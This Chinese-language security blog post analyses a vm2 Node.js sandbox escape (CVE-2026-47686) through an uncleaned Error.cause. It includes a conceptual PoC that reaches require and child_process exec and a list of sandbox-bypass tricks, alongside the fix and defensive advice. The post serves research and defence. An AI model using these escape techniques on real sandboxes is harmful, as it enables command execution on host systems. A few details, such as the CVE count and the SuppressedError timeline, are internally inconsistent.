SRC 挖洞:vm2 沙箱逃逸到 RCE 深度复盘,CVE-2026-47686 Error.cause 怎么泄露主机对象

作者 akihi(白帽攻防录讲师),某甲方网络安全工程师,合集 SRC 年度第一、腾讯 SRC 连续三年前十,单漏洞赏金 4w+,擅长 Web/App/PC 客户端漏洞挖掘。专注 Node.js 安全、沙箱逃逸、AI Agent 安全审计。本文基于公开 CVE 信息与技术原理深度复盘,供安全研究与防护参考。

一、漏洞时间线

2026 年 8 月 17 日,vm2 项目发布了安全更新,修复了三个严重的沙箱逃逸漏洞。其中最严重的是 CVE-2026-47686(CVSS 9.9),源于对 ES2022 Error.cause 属性清理不完善。当宿主函数抛出包含主机对象的错误链时,沙箱代码可以获取该引用,进而实现远程代码执行。

时间事件影响版本
2026-05-08第一个 vm2 沙箱逃逸漏洞披露< 3.11.0
2026-08-17vm2 发布 3.11.6,修复三个漏洞< 3.11.6
2026-08-18技术分析和 PoC 公开——
2026-09-09安全厂商发布威胁情报——
2026-09-24确认影响 AI Agent 框架——

vm2 是一个流行的 Node.js 沙箱库,被广泛用于代码编辑器、自动化工具和 AI Agent 框架。沙箱逃逸漏洞意味着运行在其中的不可信代码可以突破隔离,访问主机系统。

二、攻击链全景

让我们先用一张流程图还原完整的攻击路径:

攻击者在沙箱中运行不可信 JavaScript 代码 │ ▼ 第一步:触发宿主函数抛出错误 │ 调用宿主提供的函数 │ 函数内部抛出 Error ▼ 第二步:错误对象通过错误链传播 │ Error.cause 包含宿主对象 │ handleException() 清理错误属性 ▼ 第三步:Error.cause 未被清理 │ 清理了 SuppressedError.error │ 清理了 AggregateError.errors │ 但遗漏了 Error.cause ▼ 第四步:沙箱代码获取主机对象引用 │ 通过 error.cause 访问主机对象 │ 拿到主机的函数和对象引用 ▼ 第五步:利用主机对象逃逸沙箱 │ 通过引用调用 require() │ 加载 child_process 模块 ▼ 攻击者在主机上执行任意命令 │ ├─ 读取服务器文件和配置 ├─ 访问内部网络资源 └─ 植入后门持久化

关键结论:这个漏洞的核心在于"错误对象清理不完整"。vm2 的 handleException() 函数清理了大部分危险的错误属性,但遗漏了 ES2022 新增的 Error.cause 属性。一个被遗漏的属性,导致整个沙箱隔离被突破。

三、沙箱原理

3.1 什么是沙箱

沙箱(Sandbox)是一种安全隔离机制,允许运行不可信代码而不影响主机系统:

  • 代码编辑器:在线运行用户提交的代码
  • 自动化工具:运行用户自定义的脚本
  • AI Agent:运行 LLM 生成的代码
  • 插件系统:运行第三方插件代码

vm2 的设计目标是:在 Node.js 中安全地运行不可信 JavaScript 代码,阻止其访问 process、require 等危险对象。

3.2 vm2 的隔离机制

vm2 使用多种技术实现隔离:

  1. Proxy 代理:对所有主机对象使用 Proxy 代理,拦截属性访问
  2. 属性过滤:过滤危险属性(如 process、require、constructor)
  3. 错误清理:当错误从沙箱传播到主机时,清理错误对象中的危险属性
  4. 原型链保护:阻止访问对象的原型链

3.3 Error.cause 属性

ES2022 新增了 Error.cause 属性,用于指定错误的原因:

// ES2022 Error.cause try { doSomething(); } catch (err) { throw new Error('操作失败', { cause: err }); } // 错误链: // error.message = '操作失败' // error.cause = 原始错误对象 // 可以通过 error.cause 访问原始错误 // 如果 cause 中包含主机对象: throw new Error('失败', { cause: hostObject }); // 那么沙箱代码可以通过 error.cause 访问 hostObject

四、漏洞深度分析

4.1 漏洞位置

漏洞位于 vm2 的lib/setup-sandbox.js文件中的handleException()函数:

// vm2/lib/setup-sandbox.js function handleException(e) { // 清理 SuppressedError if (e instanceof SuppressedError) { e.error = crossCheck(e.error); e.suppressed = crossCheck(e.suppressed); } // 清理 AggregateError if (e instanceof AggregateError) { e.errors = e.errors.map(crossCheck); } // 问题:没有清理 Error.cause! // ES2022 新增的 Error.cause 属性被遗漏了 return e; }

4.2 crossCheck 函数

vm2 使用crossCheck()函数清理危险属性:

function crossCheck(value) { // 如果是对象,遍历属性 if (value !== null && typeof value === 'object') { for (const key in value) { // 过滤危险属性 if (dangerousProperties.includes(key)) { delete value[key]; } else { // 递归清理 crossCheck(value[key]); } } } return value; } // 问题:crossCheck 只处理明确传入的对象 // 如果 Error.cause 没有被传入 crossCheck, // 那么 cause 中的主机对象就不会被清理

4.3 攻击利用

攻击者利用这个漏洞的步骤:

  1. 在沙箱中运行代码:攻击者提交恶意 JavaScript
  2. 触发错误:调用宿主函数,触发抛出包含主机对象的错误
  3. 获取错误对象:catch 到错误,通过 error.cause 获取主机对象
  4. 访问危险属性:通过主机对象的引用,访问 require、process 等
  5. 执行命令:require('child_process').exec('恶意命令')
// PoC 概念性代码 // 在沙箱中运行的恶意代码 try { // 触发宿主函数抛出错误 // 错误中包含主机对象 hostFunction(); } catch (e) { // e.cause 中包含未清理的主机对象 const hostObject = e.cause; // 通过主机对象访问 require const require = hostObject.constructor.constructor('return require')(); // 加载 child_process const { exec } = require('child_process'); // 执行任意命令 exec('whoami', (err, stdout) => { console.log(stdout); }); }

4.4 为什么 Error.cause 被遗漏

根本原因:Error.cause 是 ES2022 新增的属性。vm2 的错误清理逻辑是在 ES2022 之前编写的,只考虑了当时存在的错误属性(如 SuppressedError.error、AggregateError.errors)。当 JavaScript 语言新增特性时,沙箱的清理逻辑没有及时更新。

这是一个典型的"语言特性演化"导致的安全漏洞——JavaScript 不断新增特性,沙箱的安全逻辑需要跟上。

4.5 关联漏洞

除了 CVE-2026-47686,vm2 还修复了另一个相关漏洞:

CVECVSS描述
CVE-2026-476869.9Error.cause 属性未清理,主机对象泄露
CVE-2026-476988.5Function.prototype.call 堆叠绕过原型链保护
CVE-2026-476837.5Buffer 分配限制绕过

五、修复方案分析

vm2 在 3.11.6 版本中修复了这些漏洞:

修复项修复方式
Error.cause 清理在 handleException() 中增加对 Error.cause 的清理
递归清理对错误链中的所有对象进行递归清理
全面过滤对所有错误属性进行过滤,包括未来可能新增的

5.1 修复代码

// 修复后的 handleException() function handleException(e) { // 清理 SuppressedError if (e instanceof SuppressedError) { e.error = crossCheck(e.error); e.suppressed = crossCheck(e.suppressed); } // 清理 AggregateError if (e instanceof AggregateError) { e.errors = e.errors.map(crossCheck); } // 修复:清理 Error.cause if (e.cause !== undefined) { e.cause = crossCheck(e.cause); } return e; }

5.2 替代方案

由于 vm2 频繁出现沙箱逃逸漏洞,社区建议使用更安全的替代方案:

// 1. 使用 Node.js 内置的 vm 模块 const vm = require('vm'); // 注意:vm 模块不是安全沙箱! // 它只是在 V8 上下文中运行代码 // 2. 使用容器隔离 // Docker 容器是更可靠的隔离方式 docker run --rm untrusted-image // 3. 使用 isolate 模块 // 基于 V8 Isolate 的更严格沙箱 const isolate = require('isolate'); // 4. 明确不要用 vm2 运行不可信代码 // 如果必须用,确保升级到最新版本

六、SRC 审计启示录

6.1 沙箱逃逸审计清单

在 SRC 挖洞过程中,针对沙箱逃逸的审计清单:

#检查项检测方法
1是否有沙箱运行不可信代码查找代码执行、插件系统等功能
2沙箱使用的是什么隔离机制检查是否使用 vm2、isolated-vm 等
3错误对象是否完全清理测试各种错误类型和属性
4是否有语言特性被遗漏检查 ES6+ 新特性是否被覆盖
5是否能访问主机对象引用测试通过错误、原型链等方式访问

6.2 JavaScript 沙箱绕过技巧

// 常见的沙箱绕过技巧 // 1. 构造函数访问 (function(){}).constructor('return this')() // 返回全局对象 // 2. 错误对象逃逸 try { throw new Error(); } catch (e) { const host = e.constructor.constructor('return process')(); } // 3. Promise 异步逃逸 Promise.resolve().then(() => { // 异步上下文中可能有不同的隔离 }); // 4. 原型链遍历 obj.__proto__.__proto__.constructor // 访问到 Object 构造函数 // 5. Error.cause 逃逸 throw new Error('test', { cause: hostObject });

6.3 AI Agent 安全

风险点常见问题防护建议
代码执行LLM 生成的代码在沙箱中运行使用容器隔离,不依赖 JS 沙箱
提示注入恶意输入诱导 LLM 生成恶意代码输入验证和过滤
工具调用Agent 调用危险工具最小权限原则
数据泄露沙箱逃逸后访问主机数据网络隔离和访问控制

七、防护建议

  1. 升级 vm2:升级到 3.11.6 或更高版本
  2. 容器隔离:使用 Docker 容器隔离不可信代码
  3. 最小权限:运行代码的进程使用最小权限
  4. 网络隔离:限制沙箱的网络访问
  5. 监控告警:对异常的代码执行行为设置告警
  6. 定期审计:审计沙箱配置和依赖版本

八、总结

CVE-2026-47686 是一个典型的"语言特性演化"导致的沙箱逃逸漏洞。它提醒我们:JavaScript 沙箱的安全不是一劳永逸的,随着语言不断新增特性,沙箱的隔离逻辑需要持续更新。在 SRC 挖洞实践中,沙箱逃逸是一个高价值攻击面,特别是在 AI Agent 兴起的今天,代码执行安全变得越来越重要。